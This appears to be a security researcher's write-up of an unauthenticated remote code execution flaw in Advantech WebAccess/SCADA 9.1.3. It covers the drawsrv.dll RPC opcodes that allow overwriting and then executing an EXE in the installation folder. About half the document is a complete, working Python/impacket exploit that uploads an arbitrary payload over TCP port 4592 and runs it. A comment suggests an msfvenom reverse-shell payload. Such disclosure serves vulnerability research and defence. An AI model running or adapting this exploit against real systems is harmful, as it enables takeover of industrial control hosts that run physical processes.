Advantech WebAccess/SCADA 9.1.3 drawsrv.dll Remote Code Execution

4 minute read

webvrpcs.exe in Advantech WebAccess/SCADA 9.1.3 exposes unauthenticated functionality from drawsrv.dll which allows a remote attacker to execute arbitrary code by overwriting (IOCTL 0x277a , 0x277d, 0x277b) and executing (IOCTL 0x2711) a binary in the WebAccess/SCADA installation folder.

Background

  • Software: Advantech WebAccess/SCADA 9.1.3 (default install options)
  • Environment: Windows Server 2019 Standard x64 (10.0.17763 N/A Build 17763)
    • Virtualised using VMWare
    • DEP and ASLR set to AlwaysOn
    • Windows Defender disabled for ease of testing

Vulnerability Analysis

WebAccess exposes RPC functionality on TCP port 4592 via webvrpcs.exe. Through this, functionality from drawsrv.dll can be reached. drawsrv.dll exposes the three file operations:

  1. MSVCRT!fopen at drawsrv+3647 via opcode 0x277a (drawsrv+3636)
  2. MSVCRT!fwrite at drawsrv+37CA via opcode 0x277d (drawsrv+378B)
  3. MSVCRT!fclose at drawsrv+36DB via opcode 0x277b (drawsrv+36A4)

fopen called via opcode 0x277a:

0_call_fopen

Notice that when fopen is called, Mode is located 260 bytes after FileName (0x1000363F). This is because 260 is the default value for MAX_PATH on Windows.

fwrite called via opcode 0x277d:

1_fwrite_start

The actual call to fwrite at drawsrv+37CA:

2_call_fwrite

fclose called via opcode 0x277b:

3_fclose_start

The actual call to fclose at drawsrv+36DB:

4_call_fclose

Access to these three file operations do not require authentication. Therefore, an unauthenticated attacker can write a file to locations that are accessible to the user that runs webvrpcs.exe.

Next, CreateProcessA can be called via opcode 0x2711 (drawsrv+2DCF):

5_opcode_2711

This leads to a function call to drawsrv+1CE0, where lpCommandLine is passed as an argument:

6_call_1ce0

Which then calls CreateProcessA:

7_calling_createprocessa

The only parameter that can be influenced by user input in the call to CreateProcessA is lpCommandLine.

Before calling drawsrv+1CE0, a function (drawsrv+2BD0) is called at drawsrv+306F:

8_call_2bd0

This function compares a hardcoded list of EXE files against lpCommandLine:

9_comparing_exe

WebAccess assumes the EXEs to be within the current working directory. Because drawsrv is located in the WebAccess installation folder, the current working directory is the installation folder.

By overwriting an existing EXE file in the C:\WebAccess\Node directory using opcodes 0x277a, 0x277d, and 0x277b, then executing it via opcode 0x2711, a remote unauthenticated attacker can execute arbitrary code in the context of the user that runs webvrpcs.exe.

POC or GTFO

The screenshots below show the POC at work:

10_poc1

11_poc2

The actual POC:

#!/usr/bin/python3
import binascii
import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport


if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <target_ip> <payload_exe>")
    print(f"Example: {sys.argv[0]} 192.168.133.137 msf_payload.exe")
    sys.exit(1)

host = sys.argv[1]
payload_file = sys.argv[2]

def call(dce, opcode, stubdata):
    dce.call(opcode, stubdata)
    res = -1
    try:
        res = dce.recv()
    except Exception as e:
        print("Exception encountered..." + str(e))
        sys.exit(1)
    return res


port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

print("Connecting to the target...")

dce = trans.get_dce_rpc()
dce.connect()

iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print("Getting a handle to the RPC server...")
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)

if res == -1:
    print("Something went wrong, unable to get handle!")
    sys.exit(1)

# unpacked result should return a handle to the RPC server
res_o = struct.unpack("III", res)

if (len(res_o) < 3):
    print("Received unexpected length value!")
    sys.exit(1)

# we will overwrite bwkserv.exe with our payload
filename = b"bwkserv.exe\x00"
# fopen at opcode 0x277a of drawsrv.dll
# add padding to account for MAX_PATH
fopen_args = filename + b"\x41" * (260 - len(filename))
# write to file in binary mode
fopen_args += b"wb\x00"

opcode = 0x277a
stubdata = struct.pack("<IIII", res_o[2], opcode, len(fopen_args), 0x0)
stubdata += fopen_args

# get handle to file
res = binascii.hexlify(call(dce, 1, stubdata))
file_handle = struct.pack(">I", int(res, 16))
# just for printing
file_handle_pretty = struct.pack("<I", int(res, 16))
file_handle_pretty = binascii.hexlify(file_handle_pretty).decode('ascii')
print(f"Handle to {filename} is {file_handle_pretty}")

# provide a custom payload EXE, or generate one with msfvenom
# e.g. `msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.133.132 LPORT=4444 -f exe -o payload.exe`
with open(payload_file, "rb") as pf:
    pf_data = pf.read()

# fwrite at opcode 0x277d of drawsrv.dll
opcode = 0x277d
# arguments for fwrite
fwrite_args = file_handle # file handle
fwrite_args += struct.pack("<L", 0x1) # item size
fwrite_args += struct.pack("<L", len(pf_data)) # item count
fwrite_args += pf_data # the contents of the EXE

stubdata = struct.pack("<IIII", res_o[2], opcode, len(fwrite_args), 0x0)
stubdata += fwrite_args

res = binascii.hexlify(call(dce, 1, stubdata))
res = struct.pack("<I", int(res, 16))
res = binascii.hexlify(res).decode('ascii')
print(f"Successfully written {int(res, 16)} bytes to handle {file_handle_pretty}")

# fclose at opcode 0x277b of drawsrv.dll
opcode = 0x277b
stubdata = struct.pack("<IIII", res_o[2], opcode, 0x4, 0x0)
# arguments for fclose
stubdata += file_handle # file handle
print(f"Closing handle {file_handle_pretty}")
res = binascii.hexlify(call(dce, 1, stubdata))

# run the payload file
# opcode 0x2711 of drawsrv.dll
print(f"Executing {filename}")
opcode = 0x2711
# arguments for opcode 0x2711
stubdata = struct.pack("<IIII", res_o[2], opcode, len(filename), 0x0)
stubdata += filename
res = binascii.hexlify(call(dce, 1, stubdata))

dce.disconnect()

Conclusion

This was a fun vulnerability to find and exploit. Since it is a logical vulnerability, reliability is very high because there is no need to get around mitigations like DEP and ASLR. Operational security in the original proof-of-concept is not that good because the disk is accessed and existing files are overwritten.